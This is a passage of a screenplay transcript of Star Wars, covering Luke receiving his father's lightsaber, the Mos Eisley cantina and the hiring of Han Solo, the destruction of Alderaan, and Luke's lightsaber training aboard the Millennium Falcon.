Wars? + +BEN: Yes, I was once a Jedi Knight the same as your father. + +LUKE: I wish I'd known him. + +BEN: He was the best star-pilot in the galaxy, and a cunning warrior. +I understand you've become quite a good pilot yourself. And he was a +good friend. Which reminds me... + +Ben gets up and goes to a chest where he rummages around. +As Luke finishes repairing Threepio and starts to fit the +restraining bolt back on, Threepio looks at him nervously. +Luke thinks about the bolt for a moment then puts it on the +table. Ben shuffles up and presents Luke with a short handle +with several electronic gadgets attached to it. + +BEN: I have something here for you. Your father wanted you to have +this when you were old enough, but your uncle wouldn't allow it. He +feared you might follow old Obi-Wan on some damned-fool idealistic +crusade like your father did. + +THREEPIO: Sir, if you'll not be needing me, I'll close down for +awhile. + +LUKE: Sure, go ahead. + +Ben hands Luke the saber. + +LUKE: What is it? + +BEN: Your fathers lightsaber. This is the weapon of a Jedi Knight. Not +as clumsy or as random as a blaster. + +Luke pushes a button on the handle. A long beam shoots out +about four feet and flickers there. The light plays across the +ceiling. + +BEN: An elegant weapon for a more civilized time. For over a thousand +generations the Jedi Knights were the guardians of peace and justice +in the Old Republic. Before the dark times, before the Empire. + +Luke hasn't really been listening. + +LUKE: How did my father die? + +BEN: A young Jedi named Darth Vader, who was a pupil of mine until he +turned to evil, helped the Empire hunt down and destroy the Jedi +Knights. He betrayed and murdered your father. Now the Jedi are all +but extinct. Vader was seduced by the dark side of the Force. + +LUKE: The Force? + +BEN: Well, the Force is what gives a Jedi his power. It's an energy +field created by all living things. It surrounds us and penetrates us. +It binds the galaxy together. + +Artoo makes beeping sounds. + +BEN: Now, let's see if we can't figure out what you are, my little +friend. And where you come from. + +LUKE: I saw part of the message he was... + +Luke is cut short as the recorded image of the beautiful +young Rebel princess is projected from Artoo's face. + +BEN: I seem to have found it. + +Luke stops his work as the lovely girl's image flickers +before his eyes. + +LEIA: General Kenobi, years ago you served my father in the Clone +Wars. Now he begs you to help him in his struggle against the Empire. +I regret that I am unable to present my father's request to you in +person, but my ship has fallen under attack and I'm afraid my mission +to bring you to Alderaan has failed. I have placed information vital +to the survival of the Rebellion into the memory systems of this R2 +unit. My father will know how to retrieve it. You must see this droid +safely delivered to him on Alderaan. This is our most desperate hour. +Help me, Obi-Wan Kenobi, you're my only hope. + +There is a little static and the transmission is cut short. +Old Ben leans back and scratches his head. He silently puffs +on a tarnished chrome water pipe. Luke has stars in his eyes. + +BEN: You must learn the ways of the Force if you're to come with me to +Alderaan. + +LUKE: (laughing) Alderaan? I'm not going to Alderaan. I've got to go +home. It's late, I'm in for it as it is. + +BEN: I need your help, Luke. She needs your help. I'm getting too old +for this sort of thing. + +LUKE: I can't get involved! I've got work to do! It's not that I like +the Empire. I hate it! But there's nothing I can do about it right +now. It's such a long way from here. + +BEN: That's your uncle talking. + +LUKE: (sighing) Oh, God, my uncle. How am I ever going to explain +this? + +BEN: Learn about the Force, Luke. + +LUKE: Look, I can take you as far as Anchorhead. You can get a +transport there to Mos Eisley or wherever you're going. + +BEN: You must do what you feel is right, of course. + +EXTERIOR: SPACE. + +An Imperial Stardestroyer heads toward the evil planet-like +battle station: the Death Star! + +INTERIOR: DEATH STAR -- CONFERENCE ROOM. + +Eight Imperial senators and generals sit around a black +conference table. Imperial stormtroopers stand guard around +the room. Commander Tagge, a young, slimy-looking general, is +speaking. + +TAGGE: Until this battle station is fully operational we are +vulnerable. The Rebel Alliance is too well equipped. They're more +dangerous than you realize. + +The bitter Admiral Motti twists nervously in his chair. + +MOTTI: Dangerous to your starfleet, Commander, not to this battle +station! + +TAGGE: The Rebellion will continue to gain a support in the Imperial +Senate as long as.... + +Suddenly all heads turn as Commander Tagge's speech is cut +short and the Grand Moff Tarkin, governor of the Imperial +outland regions, enters. He is followed by his powerful ally, +The Sith Lord, Darth Vader. All of the generals stand and bow +before the thin, evil-looking governor as he takes his place +at the head of the table. The Dark Lord stands behind him. + +TARKIN: The Imperial Senate will no longer be of any concern to us. +I've just received word that the Emperor has dissolved the council +permanently. The last remnants of the Old Republic have been swept +away. + +TAGGE: That's impossible! How will the Emperor maintain control +without the bureaucracy? + +TARKIN: The regional governors now have direct control over +territories. Fear will keep the local systems in line. Fear of this +battle station. + +TAGGE: And what of the Rebellion? If the Rebels have obtained a +complete technical readout of this station, it is possible, however +unlikely, that they might find a weakness and exploit it. + +VADER: The plans you refer to will soon be back in our hands. + +MOTTI: Any attack made by the Rebels against this station would be a +useless gesture, no matter what technical data they've obtained. This +station is now the ultimate power in the universe. I suggest we use +it! + +VADER: Don't be too proud of this technological terror you've +constructed. The ability to destroy a planet is insignificant next to +the power of the Force. + +MOTTI: Don't try to frighten us with your sorcerer's ways, Lord Vader. +Your sad devotion to that ancient religion has not helped you conjure +up the stolen data tapes, or given you clairvoyance enough to find the +Rebel's hidden fort... + +Suddenly Motti chokes and starts to turn blue under Vader's +spell. + +VADER: I find your lack of faith disturbing. + +TARKIN: Enough of this! Vader, release him! + +VADER: As you wish. + +TARKIN: This bickering is pointless. Lord Vader will provide us with +the location of the Rebel fortress by the time this station is +operational. We will then crush the Rebellion with one swift stroke. + +EXTERIOR: TATOOINE -- WASTELAND. + +The speeder stops before what remains of the huge Jawas +Sandcrawler. Luke and Ben walk among the smoldering rubble +and scattered bodies. + +LUKE: It looks like Sandpeople did this, all right. Look, here are +Gaffi sticks, Bantha tracks. It's just...I never heard of them hitting +anything this big before. + +Ben is crouching in the sand studying the tracks. + +BEN: They didn't. But we are meant to think they did. These tracks are +side by side. Sandpeople always ride single file to hide there numbers. + +LUKE: These are the same Jawas that sold us Artoo and Threepio. + +BEN: And these blast points, too accurate for Sandpeople. Only +Imperial stormtroopers are so precise. + +LUKE: Why would Imperial troops want to slaughter Jawas? + +Luke looks back at the speeder where Artoo and Threepio are +inspecting the dead Jawas, and put two and two together. + +LUKE: If they traced the robots here, they may have learned who they +sold them to. And that would lead them home! + +Luke reaches a sudden horrible realization, then races for +the speeder and jumps it. + +BEN: Wait, Luke! It's too dangerous. + +Luke races off leaving Ben and the two robots alone with +the burning Sandcrawler. + +EXTERIOR: TATOOINE -- WASTELAND. + +Luke races across the wasteland in his battered Landspeeder. + +EXTERIOR: TATOOINE -- LARS HOMESTEAD. + +The speeder roars up to the burning homestead. Luke jumps out +and runs to the smoking holes that were once his home. Debris +is scattered everywhere and it looks as if a great battle has +taken place. + +LUKE: Uncle Owen! Aunt Beru! Uncle Owen! + +Luke stumbles around in a daze looking for his aunt and +uncle. Suddenly he comes upon their smoldering remains. He is +stunned, and cannot speak. Hate replaces fear and a new +resolve comes over him. + +EXTERIOR: SPACE. + +Imperial TIE fighter races toward the Death Star. + +INTERIOR: DEATH STAR -- DETENTION CORRIDOR. + +Two stormtroopers open an electronic cell door and allow +several Imperial guards to enter. Princess Leia's face is +filled with defiance, which slowly gives way to fear as a +giant black torture robot enters, followed by Darth Vader. + +VADER: And, now Your Highness, we will discuss the location of your +hidden Rebel base. + +The torture robot gives off a steady beeping sound as it +approaches Princess Leia and extends one of its mechanical +arms bearing a large hypodermic needle. The door slides shut +and the long cell block hallway appears peaceful. The muffled +screams of the Rebel princess are barely heard. + +EXTERIOR: TATOOINE -- WASTELAND. + +There is a large bonfire of Jawa bodies blazing in front of +the Sandcrawler as Ben and the robots finish burning the dead. +Luke drives up in the speeder and Ben walks over to him. + +BEN: There's nothing you could have done, Luke, had you been there. +You'd have been killed, too, and the droids would be in the hands of +the Empire. + +LUKE: I want to come with you to Alderaan. There's nothing here for me +now. I want to learn the ways of the Force and become a Jedi like my +father. + +EXTERIOR: TATOOINE -- WASTELAND. + +The Landspeeder with Luke, Artoo, Threepio, and Ben in it +zooms across the desert. The speeder stops on a bluff +overlooking the spaceport at Mos Eisley. It is a haphazard +array of low, grey, concrete structures and semi-domes. A +harsh gale blows across the stark canyon floor. Luke adjusts +his goggles and walks to the edge of the craggy bluff where +Ben is standing. + +BEN: Mos Eisley Spaceport. You will never find a more wretched hive of +scum and villainy. We must be cautious. + +Ben looks over at Luke, who gives the old Jedi a determined +smile. + +EXTERIOR: TATOOINE -- MOS EISLEY -- STREET. + +The speeder is stopped on a crowded street by several +combat-hardend stormtroopers who look over the two robots. A +Trooper questions Luke. + +TROOPER: How long have you had these droids? + +LUKE: About three or four seasons. + +BEN: They're for sale if you want them. + +TROOPER: Let me see your identification. + +Luke becomes very nervous as he fumbles to find his ID +while Ben speaks to the Trooper in a very controlled voice. + +BEN: You don't need to see his identification. + +TROOPER: We don't need to see his identification. + +BEN: These are not the droids your looking for. + +TROOPER: These are not the droids we're looking for. + +BEN: He can go about his business. + +TROOPER: You can go about your business. + +BEN: (to Luke) Move along. + +TROOPER: Move along. Move along. + +EXTERIOR: TATOOINE -- MOS EISLEY -- STREET. + +The speeder pulls up in front of a rundown blockhouse cantina +on the outskirts of the spaceport. Various strange forms of +transport, including several unusual beasts of burden, are +parked outside the bar. A Jawa runs up and begins to fondle +the speeder. + +THREEPIO: I can't abide these Jawas. Disgusting creatures. + +As Luke gets out of the speeder he tries to shoo the Jawa +away. + +LUKE: Go on, go on. I can't understand how we got by those troopers. I +thought we were dead. + +BEN: The Force can have a strong influence on the weak-minded. You +will find it a powerful ally. + +LUKE: Do you really think we're going to find a pilot here that'll +take us to Alderaan? + +BEN: Well, most of the best freighter pilots can be found here. Only +watch your step. This place can be a little rough. + +LUKE: I'm ready for anything. + +THREEPIO: Come along, Artoo. + +INTERIOR: TATOOINE -- MOS EISLEY -- CANTINA. + +The young adventurer and his two mechanical servants follow +Ben Kenobi into the smoke-filled cantina. The murky, moldy den +is filled with a startling array of weird and exotic alien +creatures and monsters at the long metallic bar. At first the +sight is horrifying. One-eyed, thousand-eyed, slimy, furry, +scaly, tentacled, and clawed creatures huddle over drinks. Ben +moves to an empty spot at the bar near a group of repulsive +but human scum. A huge, rough-looking Bartender stops Luke and +the robots. + +BARTENDER: We don't serve their kind here! + +Luke still recovering from the shock of seeing so many +outlandish creatures, doesn't quite catch the bartender's +drift. + +LUKE: What? + +BARTENDER: Your droids. They'll have to wait outside. We don't want +them here. + +Luke looks at old Ben, who is busy talking to one of the +Galactic pirates. He notices several of the gruesome creatures +along the bar are giving him a very unfriendly glare. +Luke pats Threepio on the shoulder. + +LUKE: Listen, why don't you wait out by the speeder. We don't want any +trouble. + +THREEPIO: I heartily agree with you sir. + +Threepio and his stubby partner go outside and most of the +creatures at the bar go back to their drinks. +Ben is standing next to Chewbacca, an eight-foot-tall- +savage-looking creature resembling a huge grey bushbaby monkey +with fierce baboon-like fangs. His large blue eyes dominate a +fur-covered face and soften his otherwise awesome appearance. +Over his matted, furry body he wears two chrome bandoliers, +and little else. He is a two-hundred-year-old Wookiee and a +sight to behold. +Ben speaks to the Wookiee, pointing to Luke several times +during his conversation and the huge creature suddenly lets +out a horrifying laugh. Luke is more than a little bit +disconcerted and pretends not to hear the conversation between +Ben and the giant Wookiee. +Luke is terrified but tries not to show it. He quietly sips +his drink, looking over the crowd for a more sympathetic ear +or whatever. +A large, multiple-eyed Creature gives Luke a rough shove. + +CREATURE: Negola dewaghi wooldugger?!? + +The hideous freak is obviously drunk. Luke tries to ignore +the creature and turns back on his drink. A short, grubby +Human and an even smaller rodent-like beast join the +belligerent monstrosity. + +HUMAN: He doesn't like you. + +LUKE: I'm sorry. + +HUMAN: I don't like you either + +The big creature is getting agitated and yells out some +unintelligible gibberish at the now rather nervous, young +adventurer. + +HUMAN: (continued) Don't insult us. You just watch yourself. We're +wanted men. I have the death sentence in twelve systems. + +LUKE: I'll be careful than. + +HUMAN: You'll be dead. + +The rodent lets out a loud grunt and everything at the bar +moves away. Luke tries to remain cool but it isn't easy. His +three adversaries ready their weapons. Old Ben moves in behind +Luke. + +BEN: This little one isn't worth the effort. Come let me buy you +something... + +A powerful blow from the unpleasant creature sends the +young would-be Jedi sailing across the room, crashing through +tables and breaking a large jug filled with a foul-looking +liquid. With a blood curdling shriek, the monster draws a +wicked chrome laser pistol from his belt and levels it at old +Ben. The bartender panics. + +BARTENDER: No blasters! No blaster! + +With astounding agility old Ben's laser sword sparks to +life and in a flash an arm lies on the floor. The rodent is +cut in two and the giant multiple-eyed creature lies doubled, +cut from chin to groin. Ben carefully and precisely turns off +his laser sword and replaces it on his utility belt. Luke, +shaking and totally amazed at the old man's abilities, attempts +to stand. The entire fight has lasted only a matter of seconds. +The cantina goes back to normal, although Ben is given a +respectable amount of room at the bar. Luke, rubbing his +bruised head, approaches the old man with new awe. Ben points +the the Wookiee. + +BEN: This is Chewbacca. He's first-mate on a ship that might suit our +needs. + +EXTERIOR: TATOOINE -- MOS EISLEY -- STREET. + +Threepio paces in front of the cantina as Artoo carries on an +electronic conversation with another little red astro-droid. A +creature comes out of the cantina and approaches two +stormtroopers in the street. + +THREEPIO: I don't like the look of this. + +INTERIOR: TATOOINE -- MOS EISLEY -- CANTINA. + +Strange creatures play exotic big band music on odd-looking +instruments as Luke, still giddy, downs a fresh drink and +follows Ben and Chewbacca to a booth where Han Solo is +sitting. Han is a tough, roguish starpilot about thirty years +old. A mercenary on a starship, he is simple, sentimental, and +cocksure. + +HAN: Han Solo. I'm captain of the Millennium Falcon. Chewie here tells +me you're looking for passage to the Alderaan system. + +BEN: Yes, indeed. If it's a fast ship. + +HAN: Fast ship? You've never heard of the Millennium Falcon? + +BEN: Should I have? + +HAN: It's the ship that made the Kessel run in less than twelve +parsecs! + +Ben reacts to Solo's stupid attempt to impress them with +obvious misinformation. + +HAN: (continued) I've outrun Imperial starships, not the local +bulk-cruisers, mind you. I'm talking about the big Corellian ships +now. She's fast enough for you, old man. What's the cargo? + +BEN: Only passengers. Myself, the boy, two droids, and no questions +asked. + +HAN: What is it? Some kind of local trouble? + +BEN: Let's just say we'd like to avoid any Imperial entanglements. + +HAN: Well, that's the trick, isn't it? And it's going to cost you +something extra. Ten thousand in advance. + +LUKE: Ten thousand? We could almost buy our own ship for that! + +HAN: But who's going to fly it, kid! You? + +LUKE: You bet I could. I'm not such a bad pilot myself! We don't have +to sit here and listen... + +BEN: We haven't that much with us. But we could pay you two thousand +now, plus fifteen when we reach Alderaan. + +HAN: Seventeen, huh! + +Han ponders this for a few moments. + +HAN: Okay. You guys got yourself a ship. We'll leave as soon as you're +ready. Docking bay Ninety-four. + +BEN: Ninety-four. + +HAN: Looks like somebody's beginning to take an interest in your +handiwork. + +Ben and Luke turn around to see four Imperial stormtroopers +looking at the dead bodies and asking the bartenders some +questions. The bartender points to the booth. + +TROOPER: All right, we'll check it out. + +The stormtroopers look over at the booth but Luke and Ben +are gone. The bartender shrugs his shoulders in puzzlement. + +HAN: Seventeen thousand! Those guys must really be desperate. This +could really save my neck. Get back to the ship and get her ready. + +EXTERIOR: TATOOINE -- MOS EISLEY -- STREET. + +BEN: You'll have to sell your speeder. + +LUKE: That's okay. I'm never coming back to this planet again. + +INTERIOR: MOS EISLEY -- CANTINA. + +As Han is about to leave, Greedo, a slimy green-faced alien +with a short trunk-nose, pokes a gun in his side. The creature +speaks in a foreign tongue translated into English subtitles. + +GREEDO: Going somewhere, Solo? + +HAN: Yes, Greedo. As a matter of fact, I was just going to see your +boss. Tell Jabba that I've got his money. + +Han sits down and the alien sits across from him holding +the gun on him. + +GREEDO: It's too late. You should have paid him when you had the +chance. Jabba's put a price on your head, so large that every bounty +hunter in the galaxy will be looking for you. I'm lucky I found you +first. + +HAN: Yeah, but this time I got the money. + +GREEDO: If you give it to me, I might forget I found you. + +HAN: I don't have it with me. Tell Jabba... + +GREEDO: Jabba's through with you. He has no time for smugglers who +drop their shipments at the first sign of an Imperial cruiser. + +HAN: Even I get boarded sometimes. Do you think I had a choice? + +Han Solo slowly reaches for his gun under the table. + +GREEDO: You can tell that to Jabba. He may only take your ship. + +HAN: Over my dead body. + +GREEDO: That's the idea. I've been looking forward to killing you for +a long time. + +HAN: Yes, I'll bet you have. + +Suddenly the slimy alien disappears in a blinding flash of +light. Han pulls his smoking gun from beneath the table as the +other patron look on in bemused amazement. Han gets up and +starts out of the cantina, flipping the bartender some coins +as he leaves. + +HAN: Sorry about the mess. + +EXTERIOR: SPACE. + +Several TIE fighters approach the Death Star. + +INTERIOR: DEATH STAR -- CONTROL ROOM. + +VADER: Her resistance to the mind probe is considerable. It will be +some time before we can extract any information from her. + +An Imperial Officer interrupts the meeting. + +IMPERIAL OFFICER: The final check-out is complete. All systems are +operational. What course shall we set? + +TARKIN: Perhaps she would respond to an alternative form of +persuasion. + +VADER: What do you mean? + +TARKIN: I think it is time we demonstrate the full power of this +station. (to soldier) Set your course for Princess Leia's home planet +of Alderaan. + +TROOPER: With pleasure. + +EXTERIOR: TATOOINE -- MOS EISLEY -- STREET. + +Four heavily-armed stormtroopers move menacingly along a +narrow slum alleyway crowed with darkly clad creatures hawking +exotic goods in the dingy little stalls. Men, monsters, and +robots crouch in the waste-filled doorways, whispering and +hiding from the hot winds. + +THREEPIO: Lock the door, Artoo. + +One of the troopers checks a tightly locked door and moves +on down the alleyway. The door slides open a crack and +Threepio peeks out. Artoo is barely visible in the background. + +TROOPER: All right, check that side of the street. It's secure. Move +on to the next door. + +The door opens, Threepio moves into the doorway. + +THREEPIO: I would much rather have gone with Master Luke than stay +here with you. I don't know what all the trouble is about, but I'm +sure it must be your fault. + +Artoo makes beeping sounds. + +THREEPIO: You watch your language! + +EXTERIOR: TATOOINE -- MOS EISLEY -- STREET -- ALLEYWAY -- USED SPEEDER LOT. + +Ben and Luke are standing in a sleazy used speeder lot, +talking with a tall, grotesque, insect-like used speeder +dealer. Strange exotic bodies and spindly-legged beasts pass +by as the insect concludes the sale by giving Luke some coins. + +LUKE: He says it's the best he can do. Since the XP-38 came out, +they're just not in demand. + +BEN: It will be enough. + +Ben and Luke leave the speeder lot and walk down the dusty +alleyway past a small robot herding a bunch of anteater-like +creatures. Luke turns and gives one last forlorn look at his +faithful speeder as he rounds a corner. A darkly clad creature +moves out of the shadows as they pass and watches them as they +disappear down another alley. + +BEN: If the ship's as fast as he's boasting, we ought to do well. + +INTERIOR: DOCKING BAY 94 -- DAY. + +Jabba the Hut and a half-dozen grisly alien pirates and purple +creatures stand in the middle of the docking bay. Jabba is the +grossest of the slavering hulks and his scarred face is a grim +testimonial to his prowess as a vicious killer. He is a fat, +slug-like creature with eyes on extended feelers and a huge +ugly mouth. + +JABBA: Come on out, Solo! + +A voice from directly behind the pirates startles them and +they turn around to see Han Solo and the giant Wookiee, +Chewbacca, standing behind them with no weapons in sight. + +HAN: I've been waiting for you, Jabba. + +JABBA: I expected you would be. + +HAN: I'm not the type to run. + +JABBA: (fatherly-smooth) Han, my boy, there are times when you +disappoint me...why haven't you paid me? And why did you have to fry +poor Greedo like that...after all we've been through together. + +HAN: You sent Greedo to blast me. + +JABBA: (mock surprise) Han, why you're the best smuggler in the +business. You're too valuable to fry. He was only relaying my concern +at your delays. He wasn't going to blast you. + +HAN: I think he thought he was. Next time don't send one of those +twerps. If you've got something to say to me, come see me yourself. + +JABBA: Han, Han! If only you hadn't had to dump that shipment of +spice...you understand I just can't make an exception. Where would I +be if every pilot who smuggled for me dumped their shipment at the +first sign of an Imperial starship? It's not good business. + +HAN: You know, even I get boarded sometimes, Jabba. I had no choice, +but I've got a charter now and I can pay you back, plus a little +extra. I just need some more time. + +JABBA: (to his men) Put your blasters away. Han, my boy, I'm only +doing this because you're the best and I need you. So, for an extra, +say twenty percent I'll give you a little more time...but this is it. +If you disappoint me again, I'll put a price on your head so large you +won't be able to go near a civilized system for the rest of your short +life. + +HAN: Jabba, I'll pay you because it's my pleasure. + +EXTERIOR: DOCKING PORT ENTRY -- ALLEYWAY. + +Chewbacca waits restlessly at the entrance to Docking Bay 94. +Ben, Luke, and the robots make their way up the street. +Chewbacca jabbers excitedly and signals for them to hurry. The +darkly clad creature has followed them from the speeder lot. +He stops in a nearby doorway and speaks into a small +transmitter. + +INTERIOR: MOS EISLEY SPACEPORT -- DOCKING BAY 94 + +Chewbacca leads the group into a giant dirt pit that is Docking +Bay 94. Resting in the middle of the huge hole is a large, +round, beat-up, pieced-together hunk of junk that could only +loosely be called a starship. + +LUKE: What a piece of junk. + +The tall figure of Han Solo comes down the boarding ramp. + +HAN: She'll make point five beyond the speed of light. She may not +look like much, but she's got it where it counts, kid. I've added some +special modifications myself. + +Luke scratches his head. It's obvious he isn't sure about +all this. Chewbacca rushes up the ramp and urges the others to +follow. + +HAN: We're a little rushed, so if you'll hurry aboard we'll get out of +here. + +The group rushes up the gang plank, passing a grinning Han +Solo. + +INTERIOR: MILLENNIUM FALCON. + +Chewbacca settles into the pilot's chair and starts the mighty +engines of the starship. + +INTERIOR: MOS EISLEY SPACEPORT -- DOCKING BAY 94. + +Luke, Ben, Threepio, and Artoo move toward the Millennium +Falcon passing Solo. + +THREEPIO: Hello, sir. + +EXTERIOR: TATOOINE -- MOS EISLEY -- STREET. + +Eight Imperial stormtroopers rush up to the darkly clad +creature. + +TROOPER: Which way? + +The darkly clad creature points to the door of the docking +bay. + +TROOPER: All right, men. Load your weapons! + +INTERIOR: MOS EISLEY SPACEPORT -- DOCKING BAY 94. + +The troops hold their guns at the ready and charge down the +docking bay entrance. + +TROOPER: Stop that ship! + +Han Solo looks up and sees the Imperial stormtroopers +rushing into the docking bay. Several of the troopers fire at +Han as he ducks into the spaceship. + +TROOPER: Blast 'em! + +Han draws his laser pistol and pops off a couple of shots +which force the stormtroopers to dive for safety. The +pirateship engines whine as Han hits the release button that +slams the overhead entry shut. + +INTERIOR: MILLENNIUM FALCON. + +HAN: Chewie, get us out of here! + +The group straps in for take off. + +THREEPIO: Oh, my. I'd forgotten how much I hate space travel. + +EXTERIOR: TATOOINE -- MOS EISLEY -- STREETS. + +The half-dozen stormtroopers at a check point hear the general +alarm and look to the sky as the huge starship rises above the +dingy slum dwellings and quickly disappears into the morning +sky. + +INTERIOR: MILLENNIUM FALCON -- COCKPIT. + +Han climbs into the pilot's chair next to Chewbacca, who +chatters away as he points to something on the radar scope. + +EXTERIOR: SPACE -- PLANET TATOOINE. + +The Corellian pirateship zooms from Tatooine into space. + +INTERIOR: MILLENNIUM FALCON -- COCKPIT. + +Han frantically types information into the ship's computer. +Little Artoo appears momentarily at the cockpit doorway, makes +a few beeping remarks, then scurries away. + +HAN: It looks like an Imperial cruiser. Our passengers must be hotter +than I thought. Try and hold them off. Angle the deflector shield +while I make the calculations for the jump to light speed. + +EXTERIOR: SPACE -- PLANET TATOOINE. + +The Millennium Falcon pirateship races away from the yellow +planet, Tatooine. It is followed by two huge Imperial +stardestroyers. + +INTERIOR: MILLENNIUM FALCON -- COCKPIT. + +Over the shoulders of Chewbacca and Han, we can see the galaxy +spread before them. Luke and Ben make their way into the +cramped cockpit where Han continues his calculation. + +HAN: Stay sharp! There are two more coming in; they're going to try to +cut us off. + +LUKE: Why don't you outrun them? I thought you said this thing was +fast. + +HAN: Watch your mouth, kid, or you're going to find yourself floating +home. We'll be safe enough once we make the jump to hyperspace. +Besides, I know a few maneuvers. We'll lose them! + +EXTERIOR: SPACE -- PLANET TATOOINE. + +Imperial cruisers fire at the pirateship. + +INTERIOR: MILLENNIUM FALCON -- COCKPIT. + +The ship shudders as an explosion flashes outside the window. + +HAN: Here's where the fun begins! + +BEN: How long before you can make the jump to light speed? + +HAN: It'll take a few moments to get the coordinates from the +navi-computer. + +The ship begins to rock violently as lasers hit it. + +LUKE: Are you kidding? At the rate they're gaining... + +HAN: Traveling through hyperspace isn't like dusting crops, boy! +Without precise calculations we could fly right through a star or +bounce too close to a supernova and that'd end your trip real quick, +wouldn't it? + +The ship is now constantly battered with laserfire as a red +warning light begins to flash. + +LUKE: What's that flashing? + +HAN: We're losing our deflector shield. Go strap yourself in, I'm +going to make the jump to light speed. + +The galaxy brightens and they move faster, almost as if +crashing a barrier. Stars become streaks as the pirateship +makes the jump to hyperspace. + +EXTERIOR: SPACE. + +The Millennium Falcon zooms into infinity in less than a +second. + +EXTERIOR: DEATH STAR. + +Alderaan looms behind the Death Star battlestation. + +INTERIOR: DEATH STAR -- CONTROL ROOM. + +Admiral Motti enters the quiet control room and bows before +Governor Tarkin, who stands before the huge wall screen +displaying a small green planet. + +MOTTI: We've entered the Alderaan system. + +Vader and two stormtroopers enter with Princess Leia. Her +hands are bound. + +LEIA: Governor Tarkin, I should have expected to find you holding +Vader's leash. I recognized your foul stench when I was brought on +board. + +TARKIN: Charming to the last. You don't know how hard I found it +signing the order to terminate your life! + +LEIA: I surprised you had the courage to take the responsibility +yourself! + +TARKIN: Princess Leia, before your execution I would like you to be my +guest at a ceremony that will make this battle station operational. No +star system will dare oppose the Emperor now. + +LEIA: The more you tighten your grip, Tarkin, the more star systems +will slip through your fingers. + +TARKIN: Not after we demonstrate the power of this station. In a way, +you have determined the choice of the planet that'll be destroyed +first. Since you are reluctant to provide us with the location of the +Rebel base, I have chosen to test this station's destructive power... +on your home planet of Alderaan. + +LEIA: No! Alderaan is peaceful. We have no weapons. You can't +possibly... + +TARKIN: You would prefer another target? A military target? Then name +the system! + +Tarkin waves menacingly toward Leia. + +TARKIN: I grow tired of asking this. So it'll be the last time. Where +is the Rebel base? + +Leia overhears an intercom voice announcing the approach to +Alderaan. + +LEIA: (softly) Dantooine. + +Leia lowers her head. + +LEIA: They're on Dantooine. + +TARKIN: There. You see Lord Vader, she can be reasonable. (addressing +Motti) Continue with the operation. You may fire when ready. + +LEIA: What? + +TARKIN: You're far too trusting. Dantooine is too remote to make an +effective demonstration. But don't worry. We will deal with your Rebel +friends soon enough. + +LEIA: No! + +INTERIOR: DEATH STAR -- BLAST CHAMBER. + +VADER: Commence primary ignition. + +A button is pressed which switches on a panel of lights. A +hooded Imperial soldier reaches overhead and pulls a lever. +Another lever is pulled. Vader reaches for still another lever +and a bank of lights on a panel and wall light up. A huge beam +of light emanates from within a cone-shaped area and converges +into a single laser beam out toward Alderaan. The small green +planet of Alderaan is blown into space dust. + +INTERIOR: MILLENNIUM FALCON -- CENTRAL HOLD AREA. + +Ben watches Luke practice the lightsaber with a small "seeker" +robot. Ben suddenly turns away and sits down. He falters, +seems almost faint. + +LUKE: Are you all right? What's wrong? + +BEN: I felt a great disturbance in the Force...as if millions of +voices suddenly cried out in terror and were suddenly silenced. I fear +something terrible has happened. + +Ben rubs his forehead. He seems to drift into a trance. Then +he fixes his gaze on Luke. + +BEN: You'd better get on with your exercises. + +Han Solo enters the room. + +HAN: Well, you can forget your troubles with those Imperial slugs. I +told you I'd outrun 'em. + +Luke is once again practicing with the lightsaber. + +HAN: Don't everyone thank me at once. + +Threepio watches Chewbacca and Artoo who are engrossed in a +game in which three-dimensional holographic figures move along +a chess-type board. + +HAN: Anyway, we should be at Alderaan about oh-two-hundred hours. + +Chewbacca and the two robots sit around the lighted table +covered with small holographic monsters. Each side of the +table has a small computer monitor embedded in it. Chewbacca +seems very pleased with himself as he rests his lanky fur- +covered arms over his head. + +THREEPIO: Now be careful, Artoo. + +Artoo immediately reaches up and taps the computer with his +stubby claw hand, causing one of the holographic creatures to +walk to the new square. A sudden frown crosses Chewbacca's +face and he begins yelling gibberish at the tiny robot. +Threepio intercedes on behalf of his small companion and +begins to argue with the huge Wookiee. + +THREEPIO: He made a fair move. Screaming about it won't help you. + +HAN: (interrupting) Let him have it. It's not wise to upset a Wookiee. + +THREEPIO: But sir, nobody worries about upsetting a droid. + +HAN: That's 'cause droids don't pull people's arms out of their socket +when they lose. Wookiees are known to do that. + +THREEPIO: I see your point, sir. I suggest a new strategy, Artoo. Let +the Wookiee win. + +Luke stands in the middle of the small hold area; he seems +frozen in place. A humming lightsaber is held high over his +head. Ben watches him from the corner, studying his movements. +Han watches with a bit of smugness. + +BEN: Remember, a Jedi can feel the Force flowing through him. + +LUKE: You mean it controls your actions? + +BEN: Partially. But it also obeys your commands. + +Suspended at eye level, about ten feet in front of Luke, a +"seeker", a chrome baseball-like robot covered with antennae, +hovers slowly in a wide arc. The ball floats to one side of +the youth then the other. Suddenly it makes a lightning-swift +lunge and stops within a few feet of Luke's face. Luke doesn't +move and the ball backs off. It slowly moves behind the boy, +then makes another quick lunge, this time emitting a blood red +laser beam as it attacks. It hits Luke in the leg causing him +to tumble over. Han lets loose with a burst of laughter. + +HAN: Hokey religions and ancient weapons are no match for a good +blaster at your side, kid. + +LUKE: You don't believe in the Force, do you? + +HAN: Kid, I've flown from one side of this galaxy to the other. I've +seen a lot of strange stuff, but I've never seen anything to make me +believe there's one all-powerful force controlling everything. There's +no mystical energy field that controls my destiny. + +Ben smiles quietly + +HAN: It's all a lot of simple tricks and nonsense. + +BEN: I suggest you try it again, Luke. + +Ben places a large helmet on Luke's head which covers his +eyes. + +BEN: This time, let go your conscious self and act on instinct. + +LUKE: (laughing) With the blast shield down, I can't even see. How am +I supposed to fight? + +BEN: Your eyes can deceive you. Don't trust them. + +Han skeptically shakes his head as Ben throws the seeker +into the air. The ball shoots straight up in the air, then +drops like a rock. Luke swings the lightsaber around blindly +missing the seeker, which fires off a laserbolt which hits +Luke square on the seat of the pants. He lets out a painful +yell and attempts to hit the seeker. + +BEN: Stretch out with your feelings. + +Luke stands in one place, seemingly frozen. The seeker +makes a dive at Luke and, incredibly, he managed to deflect +the bolt. The ball ceases fire and moves back to its original +position. + +BEN: You see, you can do it. + +HAN: I call it luck. + +BEN: In my experience, there's no such thing as luck. + +HAN: Look, going good against remotes is one thing. Going good against +the living? That's something else. + +Solo notices a small light flashing on the far side of the +control panel. + +HAN: Looks like we're coming up on Alderaan. + +Han and Chewbacca head back to the cockpit. + +LUKE: You know, I did feel something. I could almost see the remote. + +BEN: That's good. You have taken your first step into a larger world. + +INTERIOR: DEATH STAR -- CONFERENCE ROOM. + +Imperial Officer Cass stands before Governor Tarkin and the +evil Dark Lord Darth Vader. + +TARKIN: Yes. + +OFFICER CASS: Our 